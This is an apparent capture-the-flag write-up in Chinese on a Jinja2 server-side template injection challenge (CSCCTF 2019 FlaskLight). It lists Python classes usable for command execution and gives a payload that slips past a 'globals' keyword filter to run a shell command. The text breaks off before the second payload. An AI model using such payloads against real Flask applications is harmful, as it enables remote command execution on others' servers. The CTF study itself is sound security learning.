[CSCCTF 2019 Qual]FlaskLight (ssti可用的多个命令执行类)

发布时间 2023-06-30 15:45:46作者: Galio

是一个jinjia2的模板渲染,之前知道的命令执行类只有一个os._wrap_.close,这次用__subclasses__()列出来所有子类后,查找并没有发现os._wrap_.close类,其实除了os._wrap._close类,还有很多其他可用的命令执行类:

可以命令执行的类有6个

site._Printer 
site.Quitter
warnings.catch_warnings
os._wrap_close
popen
Popen

这道题过滤了globals关键字

第一种payload(使用config)

{{config.__init__['__glob'+'als__'].os.popen("whoami").read()}}

 

第二种payload(标准版)

这里的__subclasses__()[59]是warnings.catch_warnings类